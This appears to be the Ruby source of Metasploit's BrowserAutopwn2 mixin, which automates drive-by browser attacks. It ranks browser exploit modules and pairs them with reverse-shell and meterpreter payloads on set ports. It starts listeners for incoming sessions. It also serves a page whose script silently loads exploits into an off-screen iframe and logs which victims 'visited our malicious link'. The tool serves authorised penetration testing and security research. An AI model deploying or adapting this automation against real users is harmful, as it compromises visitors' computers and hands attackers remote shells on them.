lib/msf/core/exploit/remote/browser_autopwn2.rb
###
#
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
# exploits to perform a faster and smarter automated client-side attack.
#
###
require 'date'
module Msf
module Exploit::Remote::BrowserAutopwn2
include Msf::Exploit::Remote::BrowserExploitServer
# @return [Array] A list of initialized BAP exploits
attr_reader :bap_exploits
# @return [Array] A list of exploit job IDs
attr_reader :exploit_job_ids
# @return [Array] A list of payload job IDs
attr_reader :payload_job_ids
# @return [Array] Wanted payloads.
attr_reader :wanted_payloads
# The default platform-specific payloads and preferred LPORTS.
# The hash key is the name of the platform that matches what's on the module.
# The loader order is specific while starting them up.
# Firefox payloads use generic handlers.
DEFAULT_PAYLOADS = {
firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
unix: { payload: 'cmd/unix/reverse', lport: 4446 },
osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
}
# Returns all the found exploit modules that support BrowserExploitServer by going through all
# the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
#
# @return [void]
def init_exploits
# First we're going to avoid using #find_all because that gets very slow.
framework.exploits.module_refnames.each do |fullname|
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
# The user gets to specify which modules to include/exclude
next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
mod = framework.exploits.create(fullname)
unless mod
print_status("Failed to load: #{fullname}")
next
end
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
@bap_exploits << mod
end
end
end
# Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
# This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
# and all of its child exploits can share target information with each other. If BAP is active
# but there are other standalone BES exploits running, this allows them not to use (or cleanup)
# each other's data. Also, once requested, the method will not generate another profile prefix
# again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
#
# @return [String]
def browser_profile_prefix
@browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
end
# Removes background exploit jobs that belong to BAP.
#
# @return [void]
def rm_exploit_jobs
exploit_job_ids.each do |id|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
sleep(0.1)
end
end
# Removes background payload jobs that belong to BAP.
#
# @return [void]
def rm_payload_jobs
payload_job_ids.each do |id|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
end
end
# Cleans up everything such as profiles and jobs.
#
# @see #rm_exploit_jobs The method for cleaning up jobs.
# @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
# @return [void]
def cleanup
print_status("Cleaning up jobs...")
super
configure_job_output(false)
clear_browser_profiles
rm_exploit_jobs
rm_payload_jobs
end
# Modifies an exploit's default datastore options. Some of them are user-configurable,
# some must be defined by BAP.
#
# @return [void]
def set_exploit_options(xploit)
# We could do a massive xploit.datastore.merge!(self.datastore), but this seems
# really expensive. Costs more loading time.
# Set options configurable by the user.
p = select_payload(xploit)
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
xploit.datastore['LPORT'] = p.first[:payload_lport]
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
xploit.datastore['LHOST'] = get_payload_lhost
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
xploit.datastore[opt] = datastore[opt] if datastore[opt]
end
# Set options only configurable by BAP.
xploit.datastore['DisablePayloadHandler'] = true
xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
xploit.datastore['WORKSPACE'] = self.workspace
# Register this module as a child and copy datastore options
xploit.register_parent(self)
end
# Checks if a resource is already taken or not.
#
# @param resource [String] The resource to check.
# @return [TrueClass] Resource is taken.
# @return [FalseClass] Resource is not taken.
def is_resource_taken?(resource)
taken = false
bap_exploits.each do |m|
# Prevent partial matching of one resource within another
next unless m.datastore['URIPATH']
return true if m.datastore['URIPATH'].index(resource)
return true if resource.index(m.datastore['URIPATH'])
end
taken
end
# Returns a unique resource path.
#
# @return [String] A unique resource path.
def assign_module_resource
resource = ''
while
resource = Rex::Text.rand_text_alpha(rand(10) + 4)
break unless is_resource_taken?(resource)
end
resource
end
# Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
# This method is part of what makes BAP smarter. However, the list rearranged by this exploit
# will not actually be the same exploit list served to every client. When a client a request,
# #get_suitable_exploits will generate another list that will actually be used by the client
# by going through what we have here, and filter out all the exploit modules that don't match
# the target's requirements.
#
# @see #bap_exploits The read-only attribute.
# @see #sort_date_in_group The method for sorting by disclosure date
# @see #sort_group_by_rank The method for sorting by rank
# @see #sort_bap_modules The method for breaking the module list into groups
# @see #finalize_sorted_modules The method for finalizing bap_exploits
# @see #get_suitable_exploits
# @return [void]
def sort_bap_exploits
bap_groups = group_bap_modules
bap_groups = sort_date_in_group(bap_groups)
bap_groups = sort_group_by_rank(bap_groups)
finalize_sorted_modules(bap_groups)
end
# Sorts a grouped module list by disclosure date.
#
# @param bap_groups [Hash] A grouped module list.
# @return [Hash] A hash with each module list sorted by disclosure date.
def sort_date_in_group(bap_groups)
bap_groups.each_pair do |ranking, module_list|
bap_groups[ranking] = module_list.sort_by {|m|
dstr = m.disclosure_date || "1970-01-01"
Date.parse(dstr) rescue Date.parse("1970-01-01")
}.reverse
end
end
# Sorts a module list by ranking.
#
# @param bap_groups [Hash] A grouped module list.
# @return [Hash] A hash grouped by ranking.
def sort_group_by_rank(bap_groups)
Hash[bap_groups.sort_by {|k,v| k}.reverse]
end
# Breaks @bap_exploits into groups for sorting purposes.
#
# @see #bap_exploits
# @return [Hash] A module list grouped by rank.
def group_bap_modules
bap_groups = {}
RankingName.each_pair do |ranking, value|
bap_groups[ranking] = []
bap_exploits.each do |m|
next if m.rank != ranking
bap_groups[ranking] << m
end
end
bap_groups
end
# Modifies @bap_exploit by replacing it with the rearranged module list.
#
# @see #bap_exploits The read-only attribute.
# @param bap_groups [Hash] A grouped module list.
# @return [void]
def finalize_sorted_modules(bap_groups)
@bap_exploits = []
bap_groups.each_pair do |ranking, module_list|
module_list.each do |m|
break if @bap_exploits.length >= datastore['MaxExploitCount']
@bap_exploits << m
end
end
end
# Returns a payload name. Either this will be the user's choice, or falls back to a default one.
#
# @see DEFAULT_PAYLOADS The default settings.
# @param platform [Symbol] Platform name.
# @return [String] Payload name.
def get_selected_payload_name(platform)
payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
# The payload is legit, we can use it.
# Avoid #create seems faster
return payload_name if framework.payloads.module_refnames.include?(payload_name)
default = DEFAULT_PAYLOADS[platform][:payload]
# The user has configured some unknown payload that we can't use,
# fall back to default.
default
end
# Returns the selected payload's LPORT.
#
# @param platform [Symbol]
# @return [Integer]
def get_selected_payload_lport(platform)
datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
end
# Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
# then the method automatically generates one by Rex.
#
# @return [String]
def get_payload_lhost
datastore['LHOST'] || Rex::Socket.source_address
end
# Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
# we know how to find them and then clean them up.
#
# @note FireFox payload is skipped because there's no handler for it.
# @see #payload_job_ids
# @return [void]
def start_payload_listeners
# Spawn nothing if the user doesn't want to pop sessions.
return if datastore['MaxSessionCount'] == 0
# Don't repeat launching payload handlers
wanted_payloads.uniq! { |e| e[:payload_name] }
wanted_payloads.each do |wanted|
multi_handler = framework.exploits.create('multi/handler')
# We have to special case firefox
payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
# User-configurable options
# multi_handler.datastore.merge!(self.datastore) could be used, but
# really expensive. Costs more loading time.
multi_handler.datastore['LHOST'] = get_payload_lhost
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
%w(DebugOptions PrependMigrate PrependMigrateProc
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
end
# Configurable only by BAP
multi_handler.datastore['ExitOnSession'] = false
multi_handler.datastore['EXITFUNC'] = 'thread'
multi_handler.datastore['WORKSPACE'] = self.workspace
# Register this module as a child and copy datastore options
multi_handler.register_parent(self)
# Now we're ready to start the handler
multi_handler.exploit_simple(
'LocalInput' => nil,
'LocalOutput' => nil,
'Payload' => payload_name,
'RunAsJob' => true
)
@payload_job_ids << multi_handler.job_id
end
end
# Returns the human-readable version of the rank.
#
# @param rank [Integer]
# @return [String]
def parse_rank(rank)
RankingName[rank].to_s.capitalize
end
# Checks whether the payload is compatible with the module based on platform information.
# Best for single-platform modules and for performance.
#
# @param m [Object] Module.
# @param payload_platform [Symbol] Payload platform.
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
def is_payload_platform_compatible?(m, payload_platform)
begin
platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
rescue ArgumentError
false
end
return true if platform_obj && m.platform.platforms.include?(platform_obj)
false
end
# Checks whether the payload is compatible with the module based on the module's compatibility list
#
# @param compatible_payloads [Array] A list of payloads that are compatible
# @param payload_name [String]
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
def is_payload_compatible?(compatible_payloads, payload_name)
compatible_payloads.each do |k|
return true if k[0] == payload_name
end
false
end
# Checks if the module is multi-platform based on the directory path.
#
# @param m [Object] Module.
# @return [TrueClass] is multi-platform.
# @return [FalseClass] is not multi-platform.
def is_multi_platform_exploit?(m)
m.fullname.include?('multi/')
end
# Returns an appropriate payload that's compatible with the module.
#
# @param m [Object] A module that's been initialized.
# @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
def select_payload(m)
compatible_payloads = []
module_payloads = nil
DEFAULT_PAYLOADS.each_pair do |platform, info|
payload_choice = {
:payload_name => get_selected_payload_name(platform),
:payload_lport => get_selected_payload_lport(platform)
}
if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
compatible_payloads << payload_choice
break
else
# The #compatible_payloads method is super expensive (slow). By doing it this way,
# I managed to shave off seconds.
module_payloads ||= m.compatible_payloads
if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
compatible_payloads << payload_choice
end
end
end
@wanted_payloads.concat(compatible_payloads)
compatible_payloads
end
# Starts exploits.
#
# @return [void]
def start_exploits
bap_exploits.each do |m|
set_exploit_options(m)
m.exploit_simple(
'LocalInput' => nil,
'LocalOutput' => nil,
'Quiet' => true,
'Target' => 0,
'Payload' => m.datastore['PAYLOAD'],
'RunAsJob' => true
)
@exploit_job_ids << m.job_id
end
end
# Sets up BAPv2. This is like our main function.
#
# @return [void]
def setup
t1 = Time.now
super
@bap_exploits = []
@exploit_job_ids = []
@payload_job_ids = []
@wanted_payloads = []
# #split might be expensive if the file is really big
@whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
print_status("Searching BES exploits, please wait...")
init_exploits
sort_bap_exploits
print_status("Starting exploit modules...")
start_exploits
print_status("Starting listeners...")
start_payload_listeners
t2 = Time.now
print_status("Time spent: #{(t2-t1).inspect}")
configure_job_output(true)
end
# Configures the output of sub-jobs
#
# @return [void]
def configure_job_output(on=true)
(@exploit_job_ids + @payload_job_ids).each do |jid|
job = framework.jobs[jid.to_s]
next unless job
job.ctx.each do |m|
next unless m.respond_to? :user_output
m.user_output = on ? self.user_output : nil
break
end
end
end
# Prints all the exploits that BAP will consider using. But this isn't the actual list of
# exploits that BAP will use for each target.
#
# @return [void]
def show_ready_exploits
columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
# If not verbose, you're not in dev mode.
# As an user, you shouldn't be using any of these paths anyway.
columns.delete('Path') if !datastore['VERBOSE']
table = Rex::Text::Table.new(
'Header' => 'Exploits',
'Indent' => 1,
'Columns' => columns
)
# Without the order, sometimes the Rex table messes up even though in the array
# the order looks right. So don't get rid of this.
order = 1
bap_exploits.each do |m|
row = []
row << order
row << parse_rank(m.rank)
row << m.shortname
row << m.datastore['URIPATH'] if datastore['VERBOSE']
row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
table << row
order += 1
end
print_line
print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
print_status("Exploits with the highest ranking and newest will be tried first.")
print_line
print_line table.to_s
end
# Prints information such as what exploits will be used, and the BAP URL.
#
# @return [void]
def start_service
super
show_ready_exploits
proto = (datastore['SSL'] ? "https" : "http")
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
srvhost = datastore['URIHOST']
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
srvhost = datastore['SRVHOST']
else
srvhost = Rex::Socket.source_address
end
if datastore['URIPORT'] && datastore['URIPORT'] != 0
srvport = datastore['URIPORT']
else
srvport = datastore['SRVPORT']
end
service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
print_good("Please use the following URL for the browser attack:")
print_good("BrowserAutoPwn URL: #{service_uri}")
end
# Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
# gives us. It will do a global exploitable requirement check (the best it can do). There's
# actually a target-specific exploitable requirement check too, but that is performed in
# BrowserExploitServer while the exploit is being served. In other words, it is possible
# #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
# exploit dev accurately defines his/her global requirements), but the exploit always has a
# choice to bail at the last second if it decides it is actually not suitable for the client.
# That way we don't risk being too wreckless with our attack.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_suitable_exploits(cli, request)
current_exploit_list = []
tag = retrieve_tag(cli, request)
profile_info = browser_profile[tag]
bap_exploits.each do |m|
if m.get_bad_requirements(profile_info).empty?
current_exploit_list << m
end
end
if datastore['ShowExploitList']
show_exploit_list(cli.peerhost, tag, current_exploit_list)
end
current_exploit_list
end
# Logs a click that includes the suitable exploit list.
#
# @param ip [String] The target's IP address.
# @param data [String] (Optional) CSV data that contains the exploit list.
# @return [void]
def log_click(ip, data='')
report_note(
:host => ip,
:type => 'bap.clicks',
:data => data,
:update => :unique)
end
# Prints a list of suitable exploits for the current list.
#
# @see #sort_bap_exploits Explains how the exploit list is generated at first.
# @see #get_suitable_exploits Explains how we serve exploits to each client.
# @return [void]
def show_exploit_list(ip, tag, current_exploit_list)
order = 1
table = Rex::Text::Table.new(
'Header' => '',
'Indent' => 1,
'Columns' => ['Order', 'IP', 'Exploit']
)
current_exploit_list.each do |m|
table << [order, ip, m.shortname]
order += 1
end
if table.rows.empty?
print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
else
# Update the exploit list data
log_click(cli.peerhost, table.to_csv)
print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
end
end
# Returns a list of exploit URLs. This is used by #build_html so the client can load our
# exploits one by one.
#
# @see #build_html
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_exploit_urls(cli, request)
urls = []
exploit_list = get_suitable_exploits(cli, request)
exploit_list.each do |mod|
proto = datastore['SSL'] ? 'https' : 'http'
# We haven't URIHOST and URIPORT into account here because
# the framework uses them only on `get_uri`
host = ''
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
host = datastore['URIHOST']
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
host = datastore['SRVHOST']
else
host = Rex::Socket.source_address
end
if datastore['URIPORT'] && datastore['URIPORT'] != 0
port = datastore['URIPORT']
else
port = datastore['SRVPORT']
end
resource = mod.datastore['URIPATH']
url = "#{proto}://#{host}:#{port}#{resource}"
urls << url
end
urls
end
# Handles client requests specific for BAP.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [void]
def on_request_uri(cli, request)
# Check if target is on our whitelist
if @whitelist && !is_ip_targeted?(cli.peerhost)
print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
send_not_found(cli)
return
end
log_click(cli.peerhost)
super
end
# Returns true if the IP is on our whitelist.
#
# @param [String] cli_ip Client's IP.
# @return [TrueClass] The IP is on the whitelist.
# @return [FalseClass] The IP is not on the whitelist.
def is_ip_targeted?(cli_ip)
return true unless @whitelist
@whitelist.include?(cli_ip)
end
# Returns a number of sessions obtained by BAP's payload handlers.
#
# @return [Integer] A session count.
def session_count
total = 0
payload_job_ids.each do |id|
job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
if job_workspace == self.workspace
total += framework.jobs[id.to_s].ctx.first.session_count
end
end
total
end
# Returns the custom 404 URL set by the user
#
# @return [String]
def get_custom_404_url
datastore['Custom404'].to_s
end
# Returns the HTML that serves our exploits.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [String] HTML
def build_html(cli, request)
exploit_list = get_exploit_urls(cli, request)
if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
return datastore['HTMLContent']
end
elsif exploit_list.empty?
print_status("No suitable exploits to send for #{cli.peerhost}")
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
return datastore['HTMLContent']
end
end
# Some Flash exploits don't seem to work well with a hidden iframe.
js = %Q|
var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
function setElementStyle(e, opts) {
if (typeof e.style.setAttribute == 'undefined') {
var attributeString = '';
for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
e.setAttribute("style", attributeString);
} else {
for (var key in opts) {
e.style.setAttribute(key, opts[key]);
}
}
}
function moveIframe(e) {
var opts = {
'position': 'absolute',
'left': screen.width * -screen.width
}
setElementStyle(e, opts);
}
window.onload = function() {
var e = document.createElement("iframe");
e.setAttribute("id", "myiframe");
moveIframe(e);
document.body.appendChild(e);
loadExploit();
}
function loadExploit() {
var e = document.getElementById("myiframe");
var firstUri = exploitList.splice(0, 1);
if (firstUri != '') {
e.setAttribute("src", firstUri);
setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
}
}
|
%Q|<html>
<head>
<meta http-equiv="cache-control" content="no-cache" />
<script>
#{js}
</script>
</head>
<body>
</body>
</html>
#{datastore['HTMLContent']}|
end
end
end